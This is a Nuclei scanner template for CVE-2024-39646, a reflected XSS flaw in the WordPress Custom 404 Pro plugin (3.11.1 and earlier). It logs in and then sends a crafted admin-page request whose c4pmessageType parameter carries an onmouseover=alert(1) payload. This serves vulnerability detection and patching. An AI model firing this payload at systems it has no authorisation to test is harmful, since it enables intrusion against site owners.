id: CVE-2024-39646

info:
  name: WordPress Custom 404 Pro <= 3.11.1 - Reflected XSS
  author: Sourabh-Sahu
  severity: high
  description: |
    Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Kunal Nagar Custom 404 Pro allows Reflected XSS.This issue affects Custom 404 Pro: from n/a through 3.11.1.
  impact: |
    Attackers can execute arbitrary scripts in victims' browsers, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 3.11.2 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/custom-404-pro/custom-404-pro-3111-reflected-cross-site-scripting
    - https://plugins.trac.wordpress.org/changeset?old_path=/custom-404-pro/tags/3.11.1&new_path=/custom-404-pro/tags/3.11.2&sfp_email=&sfph_mail=
    - https://patchstack.com/database/vulnerability/custom-404-pro/wordpress-custom-404-pro-plugin-3-11-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-39646
    cwe-id: CWE-79
    epss-score: 0.00624
    epss-percentile: 0.46466
    cpe: cpe:2.3:a:kunalnagar:custom_404_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kunalnagar
    product: custom_404_pro
    framework: wordpress
  tags: wordpress,wp-plugin,xss,authenticated,cve,cve2024,custom-404-pro,vkev

flow: http(1) && http(2)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=c4p-main&c4pmessage=hello&c4pmessageType=%22%20onmouseover%3Dalert(1)%20 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '" onmouseover=alert(1)'

      - type: word
        part: content_type
        words:
          - "text/html"
# digest: 4b0a00483046022100a002182ea246e20d1e2da984a9b4323460877df60125bc1542d1a941a559b2d2022100bddf95db1b9429c1db0aa7175f853d1aec950dc720dbd5beb5db8fb19e0bca5c:922c64590222798bb761d5b6d8e72950